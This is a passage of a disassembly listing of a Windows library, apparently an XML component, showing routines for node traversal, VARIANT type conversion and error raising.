loc_69B47B89:				; DATA XREF: .text:69B47BD4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47B92:				; DATA XREF: .text:69B47BD8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B47BAA:				; CODE XREF: sub_69B47AEC+9Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B47BC2:				; CODE XREF: sub_69B47AEC+20j
					; sub_69B47AEC+49j
		call	sub_69B1853C
		retn	0Ch
sub_69B47AEC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47BD0	dd 0FFFFFFFFh			dd offset loc_69B47B89
		dd offset loc_69B47B92

; =============== S U B	R O U T	I N E =======================================



sub_69B47BDC	proc near		; CODE XREF: sub_69B3B684+AEp
					; sub_69B3B8CA+85p
		push	38h
		push	offset dword_69B47C90
		call	sub_69B19C5C
		xor	esi, esi
		mov	[ebp-1Ch], esi
		push	esi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		push	1
		lea	ecx, [ebp-44h]
		call	sub_69B2DC5B
		mov	[ebp-4], esi
		push	60h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-48h], ecx
		cmp	ecx, esi
		jz	short loc_69B47C1A
		call	sub_69B47360
		jmp	short loc_69B47C1C
; ---------------------------------------------------------------------------


loc_69B47C1A:				; CODE XREF: sub_69B47BDC+35j
		xor	eax, eax


loc_69B47C1C:				; CODE XREF: sub_69B47BDC+3Cj
		mov	esi, eax
		mov	[ebp-1Ch], esi
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_69B473A7
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B46A32
		jmp	short loc_69B47C70
; ---------------------------------------------------------------------------


loc_69B47C37:				; DATA XREF: .text:69B47C94o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47C40:				; DATA XREF: .text:69B47C98o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		test	esi, esi
		jz	short loc_69B47C53
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B47C53:				; CODE XREF: sub_69B47BDC+6Cj
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		lea	ecx, [ebp-44h]
		call	sub_69B2DA65
		lea	ecx, [ebp-44h]
		call	sub_69B2D6DB
		call	sub_69B2E860


loc_69B47C70:				; CODE XREF: sub_69B47BDC+59j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-44h]
		call	sub_69B2DBD4
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		mov	eax, esi
		call	sub_69B1853C
		retn	8
sub_69B47BDC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47C90	dd 0FFFFFFFFh			dd offset loc_69B47C37
		dd offset loc_69B47C40

; =============== S U B	R O U T	I N E =======================================



sub_69B47C9C	proc near		; CODE XREF: sub_69B4B3ED+351p
					; sub_69B4BD17+296p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	0
		push	esi
		push	0Ch
		mov	edi, ecx
		call	sub_69B8AB3E
		test	eax, eax
		jz	short loc_69B47CC7
		mov	ecx, [eax+8]
		lea	edx, [ecx+1]
		xor	edx, ecx
		and	edx, 7FFFFFFFh
		xor	edx, ecx
		mov	[eax+8], edx
		jmp	short loc_69B47CE7
; ---------------------------------------------------------------------------


loc_69B47CC7:				; CODE XREF: sub_69B47C9C+14j
		push	esi
		push	0Ch
		mov	ecx, edi
		call	sub_69B8AE52
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [edi+8]
		and	eax, 80000001h
		or	eax, 1
		mov	[edi+8], eax


loc_69B47CE7:				; CODE XREF: sub_69B47C9C+29j
		pop	edi
		pop	esi
		retn	4
sub_69B47C9C	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B2E3BD

; =============== S U B	R O U T	I N E =======================================



sub_69B47CF1	proc near		; CODE XREF: sub_69B481AF+9p
					; sub_69B4D8E4+33p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_69B47D07
		cmp	eax, 12h
		jg	short loc_69B47D07
		mov	eax, lpMultiByteStr[eax*4]
		jmp	short loc_69B47D0C
; ---------------------------------------------------------------------------


loc_69B47D07:				; CODE XREF: sub_69B47CF1+6j
					; sub_69B47CF1+Bj
		mov	eax, offset dword_69B47D18


loc_69B47D0C:				; CODE XREF: sub_69B47CF1+14j
		push	eax		; lpMultiByteStr
		call	sub_69B1D494
		retn	4
sub_69B47CF1	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B47D18	dd 4B4E555Bh, 4E574F4Eh		db 5Dh,	0

; =============== S U B	R O U T	I N E =======================================



sub_69B47D22	proc near		; CODE XREF: sub_69B49F3F+D7p
					; sub_69B555EC+13p ...
		push	esi
		push	0
		push	0
		mov	esi, ecx
		call	sub_69B1D263
		push	0FFFFFh
		push	9001Fh
		mov	[esi], eax
		call	sub_69B1D263
		add	esp, 10h
		mov	eax, esi
		pop	esi
		retn
sub_69B47D22	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47D46	proc near		; CODE XREF: sub_69B49F3F+E8p
					; sub_69B555EC+38p ...
		push	esi
		mov	esi, ecx
		call	sub_69B84BBD
		push	0FFFFFh
		push	dword ptr [esi]
		call	sub_69B1D263
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_69B47D46	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47D5E	proc near		; CODE XREF: sub_69B41BEC+7Dp
					; sub_69B41D7C+6Cp ...

arg_0		= dword	ptr  4

		push	offset dword_69B281F0
		push	[esp+4+arg_0]
		call	sub_69B2F4B8
		retn	4
sub_69B47D5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47D6F	proc near		; CODE XREF: sub_69B3C634+11Fp
					; sub_69B41BEC+72p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		push	[esp+0Ch+arg_0]
		call	sub_69B88597
		mov	esi, eax
		push	esi
		call	sub_69B47D5E
		test	esi, esi
		mov	edi, eax
		jz	short loc_69B47D98
		test	edi, edi
		jnz	short loc_69B47D98
		push	80070057h
		call	sub_69B2E8B8


loc_69B47D98:				; CODE XREF: sub_69B47D6F+19j
					; sub_69B47D6F+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B47D6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47D9F	proc near		; CODE XREF: sub_69B47DCC+23p
					; sub_69B486B5+4p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, [edi]
		call	dword ptr [eax+108h]
		cmp	esi, eax
		jnz	short loc_69B47DB7
		xor	eax, eax
		jmp	short loc_69B47DC7
; ---------------------------------------------------------------------------


loc_69B47DB7:				; CODE XREF: sub_69B47D9F+12j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+100h]
		test	eax, eax
		jz	short loc_69B47DC7
		mov	[edi], eax


loc_69B47DC7:				; CODE XREF: sub_69B47D9F+16j
					; sub_69B47D9F+24j
		pop	edi
		pop	esi
		retn	4
sub_69B47D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47DCC	proc near		; CODE XREF: sub_69B173D1+252p
					; sub_69B173D1+43Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		test	eax, eax
		push	edi
		mov	edi, ecx
		jz	short loc_69B47DF4
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0F4h]
		cmp	eax, edi
		jz	short loc_69B47DEC
		xor	eax, eax
		jmp	short loc_69B47DF4
; ---------------------------------------------------------------------------


loc_69B47DEC:				; CODE XREF: sub_69B47DCC+1Aj
		push	esi
		mov	ecx, edi
		call	sub_69B47D9F


loc_69B47DF4:				; CODE XREF: sub_69B47DCC+Cj
					; sub_69B47DCC+1Ej
		pop	edi
		pop	esi
		retn	4
sub_69B47DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B47DF9(int, VARIANTARG *pvargDest)

sub_69B47DF9	proc near		; CODE XREF: sub_69B48867+12p

pvarg		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
pvargDest	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ecx]
		push	ebx
		push	edi
		mov	edi, [ebp+pvargDest]
		push	edi
		call	dword ptr [eax+124h]
		push	[ebp+arg_0]
		call	sub_69B2FB83
		mov	ebx, eax
		cmp	bx, [edi]
		jz	short loc_69B47E66
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	edi		; pvargSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	VariantCopy
		test	eax, eax
		jz	short loc_69B47E3B
		push	eax
		call	sub_69B2E8B8


loc_69B47E3B:				; CODE XREF: sub_69B47DF9+3Aj
		push	esi
		mov	esi, VariantClear
		push	edi		; pvarg
		call	esi ; VariantClear
		push	ebx		; vt
		push	1		; wFlags
		push	409h		; lcid
		lea	eax, [ebp+pvarg]
		push	eax		; pvarSrc
		push	edi		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jge	short loc_69B47E5F
		push	edi		; pvarg
		call	esi ; VariantClear


loc_69B47E5F:				; CODE XREF: sub_69B47DF9+61j
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	esi ; VariantClear
		pop	esi


loc_69B47E66:				; CODE XREF: sub_69B47DF9+21j
		pop	edi
		pop	ebx
		leave
		retn	8
sub_69B47DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47E6C	proc near		; CODE XREF: sub_69B14EAC+12Dp
					; sub_69B4858B+77p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_69B48F40
		retn	4
sub_69B47E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47E7F	proc near		; CODE XREF: sub_69B4A76D+11Ep
					; sub_69B4AAFC+10Fp ...
		mov	edx, [ecx+8]
		mov	eax, 0C0000h
		and	edx, eax
		cmp	edx, eax
		mov	eax, [ecx]
		jz	short loc_69B47E97
		call	dword ptr [eax+110h]
		jmp	short loc_69B47EAC
; ---------------------------------------------------------------------------


loc_69B47E97:				; CODE XREF: sub_69B47E7F+Ej
		call	dword ptr [eax+11Ch]
		test	eax, eax
		jz	short loc_69B47EAA
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		jmp	short loc_69B47EAC
; ---------------------------------------------------------------------------


loc_69B47EAA:				; CODE XREF: sub_69B47E7F+20j
		xor	eax, eax


loc_69B47EAC:				; CODE XREF: sub_69B47E7F+16j
					; sub_69B47E7F+29j
		test	eax, eax
		jnz	short locret_69B47EB5
		mov	eax, offset off_69B1A5AC

locret_69B47EB5:			; CODE XREF: sub_69B47E7F+2Fj
		retn
sub_69B47E7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B47EB6	proc near		; CODE XREF: sub_69B4EBD9+101p
					; sub_69B4F0B4+15Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ecx]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		call	dword ptr [eax+110h]
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B47ED3
		mov	ebx, [esi+8]
		jmp	short loc_69B47ED5
; ---------------------------------------------------------------------------


loc_69B47ED3:				; CODE XREF: sub_69B47EB6+16j
		xor	ebx, ebx


loc_69B47ED5:				; CODE XREF: sub_69B47EB6+1Bj
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		push	eax
		push	0
		call	sub_69B190D7
		test	ebx, ebx
		jz	short loc_69B47EF1
		mov	esi, [esi+0Ch]
		mov	edi, [eax+0Ch]
		mov	ecx, ebx
		rep movsw


loc_69B47EF1:				; CODE XREF: sub_69B47EB6+2Ej
		mov	edx, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		lea	edi, [edx+ebx*2]
		rep movsw
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+114h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B47EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47F13	proc near		; CODE XREF: sub_69B173D1+387p
					; sub_69B173D1+3B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	20h
		mov	ecx, esi
		call	sub_69B8A903
		push	[esp+4+arg_4]
		mov	ecx, esi
		call	sub_69B8A970
		push	3Dh
		mov	ecx, esi
		call	sub_69B8A903
		push	22h
		mov	ecx, esi
		call	sub_69B8A903
		push	[esp+4+arg_8]
		mov	ecx, esi
		call	sub_69B8A970
		push	22h
		mov	ecx, esi
		call	sub_69B8A903
		pop	esi
		retn	0Ch
sub_69B47F13	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47F56	proc near		; DATA XREF: .text:69B1DD04o
		mov	eax, offset off_69B28200
		retn
sub_69B47F56	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47F5C	proc near		; DATA XREF: .text:69B152FCo
					; .text:69B1DD4Co
		mov	eax, [ecx]
		push	esi
		jmp	short loc_69B47F71
; ---------------------------------------------------------------------------


loc_69B47F61:				; CODE XREF: sub_69B47F5C+1Fj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, 0Bh
		jnz	short loc_69B47F7D
		mov	eax, [esi]
		mov	ecx, esi


loc_69B47F71:				; CODE XREF: sub_69B47F5C+3j
		call	dword ptr [eax+0F4h]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B47F61


loc_69B47F7D:				; CODE XREF: sub_69B47F5C+Fj
		mov	eax, esi
		pop	esi
		retn
sub_69B47F5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47F81	proc near		; DATA XREF: .text:69B152DCo
					; .text:69B1DD2Co
		xor	eax, eax
		mov	al, [ecx+0Bh]
		and	eax, 1Fh
		mov	eax, dword_69B99348[eax*4]
		retn
sub_69B47F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B47F91	proc near		; DATA XREF: .text:69B15310o
					; .text:69B1DD60o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+74h]
		test	al, al
		jz	short loc_69B47FEA
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B47FEA
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		jmp	short loc_69B47FE6
; ---------------------------------------------------------------------------


loc_69B47FBC:				; CODE XREF: sub_69B47F91+57j
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+48h]
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B47FD1
		test	eax, eax
		jnz	short loc_69B47FDB


loc_69B47FCD:				; CODE XREF: sub_69B47F91+48j
		mov	al, 1
		jmp	short loc_69B47FEC
; ---------------------------------------------------------------------------


loc_69B47FD1:				; CODE XREF: sub_69B47F91+36j
		cmp	eax, 1
		jz	short loc_69B47FDB
		cmp	eax, 6
		jnz	short loc_69B47FCD


loc_69B47FDB:				; CODE XREF: sub_69B47F91+3Aj
					; sub_69B47F91+43j
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+6Ch]


loc_69B47FE6:				; CODE XREF: sub_69B47F91+29j
		test	eax, eax
		jnz	short loc_69B47FBC


loc_69B47FEA:				; CODE XREF: sub_69B47F91+Ej
					; sub_69B47F91+1Cj
		xor	al, al


loc_69B47FEC:				; CODE XREF: sub_69B47F91+3Ej
		pop	esi
		leave
		retn	4
sub_69B47F91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47FF1	proc near		; DATA XREF: .text:69B15340o
					; .text:69B1DD90o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0A4h]
		test	eax, eax
		jz	short loc_69B4800A
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		jmp	short locret_69B4800C
; ---------------------------------------------------------------------------


loc_69B4800A:				; CODE XREF: sub_69B47FF1+Ej
		xor	eax, eax

locret_69B4800C:			; CODE XREF: sub_69B47FF1+17j
		retn	4
sub_69B47FF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4800F	proc near		; DATA XREF: .text:69B15368o
					; .text:69B1DDB8o
		mov	eax, [ecx+8]
		mov	ecx, eax
		shr	ecx, 0Eh
		test	cl, 1
		jz	short loc_69B4802F
		shr	eax, 4
		and	eax, 3Fh
		push	eax
		call	sub_69B2FB4C
		push	eax		; lpString
		call	sub_69B1A587
		retn
; ---------------------------------------------------------------------------


loc_69B4802F:				; CODE XREF: sub_69B4800F+Bj
		xor	eax, eax
		retn
sub_69B4800F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48032	proc near		; CODE XREF: sub_69B3E780+24p
					; sub_69B48756+3p ...
		test	byte ptr [ecx+0Ah], 1
		jnz	short locret_69B48042
		push	8000000Ah
		call	sub_69B2E8B8

locret_69B48042:			; CODE XREF: sub_69B48032+4j
		retn
sub_69B48032	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48043	proc near		; CODE XREF: sub_69B48882+Ap
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B48070
		test	byte ptr [eax+0Ah], 1
		jnz	short loc_69B48070
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+108h]
		cmp	esi, eax
		jnz	short loc_69B48070
		push	8000000Ah
		call	sub_69B2E8B8


loc_69B48070:				; CODE XREF: sub_69B48043+Dj
					; sub_69B48043+13j ...
		pop	esi
		retn
sub_69B48043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48072	proc near		; DATA XREF: .text:off_69B15298o
					; .text:off_69B1DCE8o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_69B92948
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_69B4808F
		mov	eax, 80004005h
		jmp	short loc_69B480C0
; ---------------------------------------------------------------------------


loc_69B4808F:				; CODE XREF: sub_69B48072+14j
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_C]
		push	edi
		call	sub_69B1B406
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		push	[ebp+arg_4]
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_69B1C04C
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi


loc_69B480C0:				; CODE XREF: sub_69B48072+1Bj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B48072	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B480C6	proc near		; DATA XREF: .text:69B1DD24o
		mov	eax, [ecx+8]
		shr	eax, 11h
		test	al, 1
		mov	eax, [ecx+14h]
		jz	short locret_69B480D6
		mov	eax, [eax+14h]

locret_69B480D6:			; CODE XREF: sub_69B480C6+Bj
		retn
sub_69B480C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B480D7	proc near		; DATA XREF: .text:69B18120o
					; .text:69B1DDDCo
		mov	eax, [ecx+10h]
		retn
sub_69B480D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B480DB	proc near		; DATA XREF: .text:69B1DDE0o
		xor	eax, eax
		cmp	[ecx+10h], eax
		setnz	al
		retn
sub_69B480DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B480E4	proc near		; DATA XREF: .text:69B1DDE4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B17275
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B48103
		lea	eax, [esi+4]
		push	eax		; Target
		call	sub_69B18980
		mov	[ebp+var_4], eax


loc_69B48103:				; CODE XREF: sub_69B480E4+11j
		test	edi, edi
		mov	eax, [ebp+arg_0]
		mov	[esi+10h], eax
		mov	ecx, esi
		jz	short loc_69B48121
		test	eax, eax
		jz	short loc_69B4811A
		call	sub_69B17355
		jmp	short loc_69B48134
; ---------------------------------------------------------------------------


loc_69B4811A:				; CODE XREF: sub_69B480E4+2Dj
		call	sub_69B183BB
		jmp	short loc_69B48134
; ---------------------------------------------------------------------------


loc_69B48121:				; CODE XREF: sub_69B480E4+29j
		test	eax, eax
		push	[ebp+var_4]
		jz	short loc_69B4812F
		call	sub_69B1737D
		jmp	short loc_69B48134
; ---------------------------------------------------------------------------


loc_69B4812F:				; CODE XREF: sub_69B480E4+42j
		call	sub_69B183E6


loc_69B48134:				; CODE XREF: sub_69B480E4+34j
					; sub_69B480E4+3Bj ...
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B480E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4813A	proc near		; DATA XREF: .text:69B1DDECo

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+18h], eax
		retn	4
sub_69B4813A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48144	proc near		; CODE XREF: sub_69B59D1Fj
					; sub_69B59D61+13j
					; DATA XREF: ...
		mov	eax, [ecx+1Ch]
		retn
sub_69B48144	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48148	proc near		; CODE XREF: sub_69B59D7B+5p
					; DATA XREF: .text:69B1DDF4o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+1Ch], eax
		retn	4
sub_69B48148	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48152	proc near		; CODE XREF: sub_69B59D9A+4p
					; DATA XREF: .text:69B1DDF8o
		mov	eax, [ecx+1Ch]
		test	al, 1
		jz	short loc_69B4815D
		and	eax, 0FFFFFFFEh
		retn
; ---------------------------------------------------------------------------


loc_69B4815D:				; CODE XREF: sub_69B48152+5j
		xor	eax, eax
		retn
sub_69B48152	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48160	proc near		; DATA XREF: .text:69B1DE00o
		mov	eax, [ecx+1Ch]
		and	eax, 1
		retn
sub_69B48160	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48167	proc near		; CODE XREF: sub_69B4E634+190p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, [edi+0Ch]
		dec	esi
		js	short loc_69B48188


loc_69B48173:				; CODE XREF: sub_69B48167+1Bj
		push	esi
		mov	ecx, edi
		call	sub_69B8A163
		cmp	eax, [esp+8+arg_4]
		jz	short loc_69B48184
		dec	esi
		jns	short loc_69B48173


loc_69B48184:				; CODE XREF: sub_69B48167+18j
		test	esi, esi
		jge	short loc_69B481AA


loc_69B48188:				; CODE XREF: sub_69B48167+Aj
		mov	ecx, [esp+8+arg_8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	eax, 0C00CE017h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B481AA:				; CODE XREF: sub_69B48167+1Fj
		pop	edi
		pop	esi
		retn	0Ch
sub_69B48167	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B481AF	proc near		; CODE XREF: sub_69B41554+B9p
					; sub_69B41D7C+A0p ...
		xor	eax, eax
		mov	al, [ecx+0Bh]
		and	eax, 1Fh
		push	eax
		call	sub_69B47CF1
		retn
sub_69B481AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B481BE	proc near		; CODE XREF: sub_69B4876E+3p
					; sub_69B59E43+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		mov	dword ptr [esi], offset	off_69B1DCE8
		call	sub_69B2DEDD
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B481BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B481D8	proc near		; DATA XREF: .text:69B152E0o
					; .text:69B1DD30o
		xor	eax, eax
		mov	al, [ecx+0Bh]
		and	eax, 1Fh
		retn
sub_69B481D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B481E1	proc near		; DATA XREF: .text:69B15378o
					; .text:69B1DDC8o
		mov	eax, [ecx+8]
		shr	eax, 4
		and	eax, 3Fh
		retn
sub_69B481E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B481EB	proc near		; CODE XREF: sub_69B14EAC+14Ap
					; sub_69B4AF3F+110p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		jz	short loc_69B4821A
		mov	eax, [esi+8]
		shr	eax, 2
		test	al, 1
		jz	short loc_69B4821A
		push	0
		push	0C00CE022h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4821A:				; CODE XREF: sub_69B481EB+Fj
					; sub_69B481EB+19j
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		call	sub_69B8B00F
		test	eax, eax
		jz	short loc_69B4824E
		cmp	[ebp+arg_C], 0
		jz	short loc_69B48260
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		push	eax
		push	0C00CE200h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B48260
; ---------------------------------------------------------------------------


loc_69B4824E:				; CODE XREF: sub_69B481EB+3Dj
		mov	ecx, [ebp+arg_0]
		push	esi
		push	ebx
		call	sub_69B8B57E
		or	byte ptr [edi+9], 80h
		or	dword ptr [esi+8], 4


loc_69B48260:				; CODE XREF: sub_69B481EB+43j
					; sub_69B481EB+61j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B481EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48267	proc near		; CODE XREF: sub_69B4A73D+14p
					; sub_69B4D02C+23p
		movzx	ecx, byte ptr [ecx+0Bh]
		xor	eax, eax
		inc	eax
		and	ecx, 1Fh
		shl	eax, cl
		and	eax, 40391h
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_69B48267	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4827F	proc near		; CODE XREF: sub_69B4C674+D2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+0F4h]
		mov	edi, [esp+8+arg_0]
		jmp	short loc_69B482B4
; ---------------------------------------------------------------------------


loc_69B48291:				; CODE XREF: sub_69B4827F+37j
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jz	short loc_69B482B8
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B482B8
		mov	edx, [eax]
		mov	ecx, eax
		mov	esi, eax
		call	dword ptr [edx+0F4h]


loc_69B482B4:				; CODE XREF: sub_69B4827F+10j
		cmp	eax, edi
		jnz	short loc_69B48291


loc_69B482B8:				; CODE XREF: sub_69B4827F+19j
					; sub_69B4827F+27j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		sub	eax, edi
		neg	eax
		sbb	eax, eax
		pop	edi
		inc	eax
		pop	esi
		retn	4
sub_69B4827F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B482CE	proc near		; CODE XREF: sub_69B4BAA7+F5p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ecx
		test	eax, eax
		jz	short locret_69B48304
		xor	ecx, ecx
		cmp	[esp+arg_4], cl
		push	esi
		setz	cl
		mov	esi, ecx


loc_69B482E0:				; CODE XREF: sub_69B482CE+33j
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		xor	edx, edx
		and	ecx, 1Fh
		cmp	ecx, [esp+4+arg_0]
		setnz	dl
		cmp	esi, edx
		jnz	short loc_69B48303
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0F4h]
		test	eax, eax
		jnz	short loc_69B482E0


